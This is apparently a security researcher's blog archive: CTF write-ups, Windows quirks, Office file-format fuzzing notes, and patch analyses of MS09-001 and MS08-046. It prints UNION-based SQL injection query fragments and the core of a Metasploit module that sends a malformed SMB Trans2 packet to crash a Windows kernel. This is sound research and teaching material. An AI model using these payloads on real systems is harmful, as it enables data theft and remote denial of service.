Monday, June 11, 2012

Secuinside CTF 2012 - iu

The challenge text was as follows:

1. hex
2. [-3:]
3. inverse.

Challenge text:
the message was decoded:
11111011 11101111 10001110 10000110 00011000 01100001
10000110 00011000 01011000 10100010 11100011 01011010
10111010 00001000 01101101 11001000 00010000 00010010
00010011 10101110 00111110 11111011 10111010 01011110

As the hints mention, we converted the binary above to hex and got the following:

0000000: fbef 8e86 1861 8618 58a2 e35a ba08 6dc8  .....a..X..Z..m.
0000010: 1012 13ae 3efb ba5e 64                   ....>..^d

The second hint [-3:] means the last 3 elements of an array or last 3 chars in a string in python. The last 3 byes here was ba5e64 which stands for Base64. The challenge hint was also that "this message was decoded" so we need to Base64 encode to get the flag. On encoding, we get:


However, the above was not accepted as the key. Further hints were given to separately do Base64 of the first 22 bytes and the last 3 bytes and concatenate them to get the key. On doing the same we get the following which is still not the accepted key.

+++OhhhhhhhYouNaughtyBASE64++w== and ul5k

After some guessing, we get the correct key:


Because of random padding, it turns out that both "+++OhhhhhhhYouNaughtyBASE64+++==" and "+++OhhhhhhhYouNaughtyBASE64++w==" decode to the same bytes.

Saturday, June 9, 2012

Defcon CTF Quals 2012: Grab Bag 400

The Grab Bag 400 was a simple SQL Injection vulnerability in zip code based search which we exploited using UNION query.

The following query was executed to enumerate the accounts table:,CAST(id%20as%20text),CAST(id%20as%20text),CAST(account%20as%20text),balance,CAST(id%20as%20text)%20from%20Account

Since there was no name in the accounts table, we enumerated the information schema to find out the name and schema of other tables in the database and found that the user information is stored in the customer table which we enumerated using:,%20table_schema,%20column_name,%20'1',%20'1',%20'1'%20FROM%20information_schema.columns%20WHERE%20table_name%20=%20'customer'

After enumerating the contents of Customer table, we were unable to find the name 'Jeff Moss' as was required to solve the level but since all the account's balance were 0.00, we ended by scoring using 0.00 as the key. However we later realized we had to look for Dark Tangent, Jeff Moss' alter-ego in the customer database :)

Tuesday, June 5, 2012

Defcon CTF Quals 2012 - urandom 300

This challenge was based on finding an efficient algorithm to a problem.  The following information was provided

Password: d0d2ac189db36e15

First we connected to the given server and provided the password. The server responded with some text and some unprintable junk. So we wrote up a script to read what the server was sending. It turned out to be the following text

It was followed by 200000 bytes of data which consisted of 100000 unsigned integers which we were supposed to sort. We sorted the array in ruby and applied  an algorithm like selection sort where we shifted each of the numbers to their respective index as per the sorted list. In the worst case the number of swaps was 99999(in case it was a reverse sorted list) and in the best case it would be zero if none of the numbers need to be swapped.

We needed to run it in a decent connection with high upload speed to get the key. On submitting the correct list of swaps, the server responded with the following:

Ruby code:

Friday, July 16, 2010

WinExec Intelligent Typo Handling

Apparently kernel32!WinExec has an unusual check for the string "hypertrm.exe\"" in lpCmdLine parameter and when matched, it attempts to execute "hypertrm.exe". A possible ridiculous fix for a typo in some legacy application? Even the kernel32.dll shipped with Vista has similar behavior.

The following IDA shots are taken from XP-SP2's kernel32!WinExec:


So if CreateProcessInternalA(..) fails, the code compares lpCmdLine parameter with hardcoded string "hypertrm.exe\"". Notice EBX now points to the string "hypertrm.exe".

.. and finally "hypertrm.exe" is executed in a second call to CreateProcessInternalA(..), notice EBX is pushed as the command line parameter which points to the corrected string "hypertrm.exe".

Finally, the test!

GetEnvironmentVariable("PATH", szEnvPath, sizeof(szEnvPath) - 1);
 _snprintf(szNewEnvPath, sizeof(szNewEnvPath) - 1, "%s;C:\\Program Files\\Windows NT", szEnvPath);
 SetEnvironmentVariable("PATH", szNewEnvPath);

 WinExec("hypertrm.exe\"", 0);

Thursday, June 10, 2010

Windows Gotcha!

Notice the 2 services.exe process running as Administrator. The original services.exe runs as SYSTEM. Apparently Task Manager has hardcode string check that denies killing of any process named services.exe

Fun stuff eh?

Sunday, March 29, 2009

Microsoft Office Vulnerability Research

First step towards looking for possible Security Bugs in Microsoft Office Suite is to understand the file format used.

Microsoft Office File Format Internals: A given MS Office document is organized internally using OLE Structure Storage. OLE Structured Storage is defined as a systematic organization of components of any MS Office document. Each document has a root component which contains storage and stream components. The OLE Structured Storage is synonymous with the file system structure, such that 'storage' components are equivalent to directories and 'stream' components are equivalent to files. A storage component may exist as a standalone component. Each storage component may have one or more sub-storage components and stream components. Also the root component may have stream components directly within it.

The actual implementation details are defined in The Windows Compound Binary File Format specification.

Most of my research on MS Office File Format was conducted using the Ruby OLE library which allows easy and abstract read-write on the various streams and storages packed in the internal OLE structures. Install the Ruby-OLE gem before trying out any of the examples below.


Dumping the OLE structure of a given word document:
user@sigsegv$ oletool --tree sample2.doc
- #<Dirent:"Root Entry">
|- #<Dirent:"1Table" size=34907 data="^\004\032\000\022...">
|- #<Dirent:"\001CompObj" size=121 data="\001\000\376\377\003...">
|- #<Dirent:"MsoDataStore">
| \- #<Dirent:"F\303\223\303\216\303\226U\303\2261\303\2305U4\303\217\303\2201BEKP\303\235N\303\203\303\200==">
| |- #<Dirent:"Item" size=216 data="<b:So...">
| \- #<Dirent:"Properties" size=341 data="<?xml...">
|- #<Dirent:"WordDocument" size=15429 data="\354\245\301\000}...">
|- #<Dirent:"\005SummaryInformation" size=4096 data="\376\377\000\000\005...">
\- #<Dirent:"\005DocumentSummaryInformation" size=4096 data="\376\377\000\000\005...">

Sample code to display the size of the WordDocument stream inside a doc file:


require 'rubygems'
require 'ole/storage'

ole ="sample2.doc")
buf ="/WordDocument")

puts "WordDocument stream size: #{buf.size}"

Sample code to display only the text part of a doc file:

require 'rubygems'
require 'ole/storage'
require 'lib/fib'

if __FILE__ == $0
if ARGV.size != 1

ole =[0])
docbuf ="/WordDocument")

fib = Word::FIB.load(ole)
off_start = fib.fcMin
off_end = fib.fcMac

puts "Text Offset start: #{off_start}"
puts "Text offset end: #{off_end}"

text = docbuf[off_start, off_end - off_start]
puts text.inspect
Reverse Engineering a Microsoft Office Patch: The patches against Microsoft Office Suite as distributed by Microsoft usually consists of self extractable MSP or MSI packages extracting which is not exactly same as that of other patches.


After fetching the patch installer executable, the first thing to do is to have to the installer extract the MSI/MSP installer programs:
officexp-KB-XXX.exe /C /T:e:\ms08-042-extracted\
The above command will extract the actual patch installer files to e:\ms08-042-extracted\ directory. Among the extracted files, there will be an MSI or MSP file which is the main patch installer program.


The MSI/MSP files are special OLE structured installer programs. Details can be found here, here. There is also an utility for extracting MSI/MSP files here.
msix.exe WINWORD.msp /out:e:\ms08-042-extracted\ /ext
This should extract all the table data and other relevant information along with a CAB file containing the actual patch binaries which we are interested in. Find the CAB file among the extracted files and extract it normally using WinZIP/WinRAR etc. and BANG!

Bug Hunting: A good number of bugs, including theoretically Security Vulnerabilities where discovered using very trivial bit-byte alteration fuzzing of various structures including the File Information Block (FIB) in Word Documents, random structures in the TableStream etc. There are a no. of structures in the File Formats particularly the Word File Format whose sizes are also read from the document itself, these areas can be good vectors for fuzzing particularly when there are multiple structure load from file with size value read from the file itself.

Saturday, March 28, 2009

MS09-001 Analysis

Finally its time to publish some long awaiting details of possibly interesting vulnerabilities. It cannot get any better than to start with this years first Microsoft Vulnerability and that too a Remote Kernel; so here goes a copy paste from an old writeup enhanced with some screen shots.

MS09-001 patch fixes at least 3 distinct vulnerabilities, the analysis below is for one of the vulnerabilities fixed.

Vulnerability Identification:

The first and foremost thing in the vulnerability identification process is to download the patch, unpack/extract it and look for the executables/dlls that are supposed to be replacing older version of code in your system with the patched one. Next we need to go deeper and find out what changes the newer version of the executable brings in to the system ie. which all functions are changed, inside the changed functions which all instructions are added or deleted, which all code blocks are added or deleted etc.

An initial BinDiff of srv.sys from MS09-001 with MS08-063 shows that 4 functions has been changed significantly, among them this analysis focuses on the changes in SrvSmbOpen2(..) function. Disassembling and going through the changes in SrvSmbOpen2(..) and the associated functions reveals the problem:

PAGE:00050586 mov edx, [ebp+var_14]
PAGE:00050589 xor eax, eax
PAGE:0005058B push 6
PAGE:0005058D pop ecx
PAGE:0005058E mov edi, edx
PAGE:00050590 rep stosd
The vulnerability can be boiled down to the following pseudo code:

SrvSmbOpen2(...) {
ptr = ExAllocatePoolWithTag(TYPE, user_controlled_size, TAG); [1]
if(operation_is_invalid) {
memset(ptr, 0, 24); [2]
ExFreePoolWithTag(ptr, TAG); [3]

Apparently there is no problem if anything greater than 24 bytes of memory is allocated at [1], but the problem arises when:
  • A specially crafted SMB Request (Smb Transact2) is sent where the where the various size fields in the header like ParamCount, ParamCountMax, DataCount, DataCountMax etc. is set such that the allocation in [1] is forced to be less than 24 bytes.
  • Since less than 24 bytes of memory is allocated at [1]; the memset at [2] is clearly wrong and leads to memory overwrite pass the Pool and corrupts the adjoining Pool Header by overwriting with NULL byte.
A quick proof of concept code proves the correctness of the analysis with a kernel crash:

kd> !analyze -v
* *
* Bugcheck Analysis *
* *

The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arg1: 00000020, a pool block header size is corrupt.
Arg2: e1e9e9d8, The pool entry we were looking for within the page.
Arg3: e1e9ea90, The next pool entry.
Arg4: 0c170201, (reserved)


kd> kb
ChildEBP RetAddr Args to Child
f88de7e0 804f7b9d 00000003 f88deb3c 00000000 nt!RtlpBreakWithStatusInstruction
f88de82c 804f878a 00000003 00000001 e1e9e9d8 nt!KiBugCheckDebugBreak+0x19
f88dec0c 804f8cb5 00000019 00000020 e1e9e9d8 nt!KeBugCheck2+0x574
f88dec2c 80544a86 00000019 00000020 e1e9e9d8 nt!KeBugCheckEx+0x1b
f88dec7c f6961dd1 e1e9e9e0 00000000 f69611a6 nt!ExFreePoolWithTag+0x2a0
f88dec88 f69611a6 804eef9c 82076640 00000000 srv!SrvFreePagedPool+0x2a
f88deca4 f695067b 82076640 00000001 f88ded3c srv!SrvClearLookAsideList+0x2a
f88decb4 f6961081 00000000 804eef9c f695f9e0 srv!LazyFreeQueueDataStructures+0x15c
f88ded3c f6950556 82280ec8 820768c8 8235e640 srv!ScavengerAlgorithm+0x5d
f88ded60 8056bcc5 820768c8 00000000 8055b0c0 srv!ScavengerThread+0x7a
f88ded74 80534c02 82280ec8 00000000 8235e640 nt!IopProcessWorkItem+0x13
f88dedac 805c6160 82280ec8 00000000 00000000 nt!ExpWorkerThread+0x100
f88deddc 80541dd2 80534b02 00000000 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
As expected, BugCheck is caught in the debugger raised due to corrupted Pool Header, but looking at the backtrace is definitely misleading. The problem with memory corruption bugs is that its very easy to get lost in the ocean of allocation and de-allocations. In our case, we know that the corruption occurred in SrvSmbOpen2(..) due to erroneous memset(..) but it definitely is not understandable from the backtrace. This is because the exception is not triggered immediately on the corruption, instead it is only triggered when the corrupted pool is processed at some later point of time. However, Microsoft's Driver Verifier is the ideal tool to use in this kind of scenario.

.. and finally here goes the meat from PoC code written as Metasploit module.

def exploit

# Build the malicious Trans2 packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x0000
pkt['Payload']['SMB'].v['Flags2'] = 0x0002
pkt['Payload']['SMB'].v['WordCount'] = 15

pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 0
pkt['Payload'].v['ParamCountMax'] = 0
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['SetupCountMax'] = 0
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 68
pkt['Payload'].v['DataCount'] = 0
pkt['Payload'].v['DataOffset'] = 0
pkt['Payload'].v['SetupCount'] = 1
pkt['Payload'].v['SetupData'] = "\x00\x00"

pkt['Payload'].v['ByteCount'] = 5
pkt['Payload'].v['Payload'] = "\x00\x00\x00\x00\x00"

print_status("Triggering kaboom!")


Notes on Exploitation: I am not aware of any exploit for this vulnerability that results in arbitrary code execution, however there might be certain possibilities if you can somehow prepare or control the state of the different memory pools allocated at the time of corruption.

Friday, March 20, 2009

MS08-046 Analysis

Long time back, I analyzed this vulnerability for some practical needs :P Now I think its time to just dump the details here.

The vulnerability exists in the API OpenColorProfile exported from mscms.dll in the following code segment:

.text:73B33A07 lea eax, [ebp+var_C]
.text:73B33A0A push eax ; PDWORD
.text:73B33A0B push edi ; PWSTR 0x104 byte heap buff
.text:73B33A0C push 0 ; PCWSTR
.text:73B33A0E call GetColorDirectoryW
.text:73B33A13 push offset asc_73B420B4 ; "\\"
.text:73B33A18 push edi ; lpString1
.text:73B33A19 mov edi, ds:lstrcatW
.text:73B33A1F call edi ; lstrcatW Append "\\" to buffer pointed by edi
.text:73B33A21 push dword ptr [ebx+0Ch] ; lpString2 Use data [ebx + 0x0C]
.text:73B33A24 push [ebp+lpString1] ; lpString1
.text:73B33A27 call edi ; lstrcatW Almost unbounded append (HEAP OVERFLOW)
.text:73B33A29 push dword ptr [ebx+0Ch] ; pMem
.text:73B33A2C call sub_73B31C29 ; [ebx+0x0C] is free'd here
.text:73B33A31 mov eax, [ebp+lpString1]
.text:73B33A34 mov [ebx+0Ch], eax
.text:73B33A37 mov [ebx+10h], esi
.text:73B33A3A jmp loc_73B31ED0

Loosely, the vulnerable code can be represented in the following C like syntax:

ptr = GlobalAlloc(0x104);
GetColorDirectoryW(NULL, ptr, &dw)

strcatW(ptr, L"\\");
strcatW(ptr, lpString1); // lpString1 points to user supplied data

.. and here goes the PoC

Sunday, March 1, 2009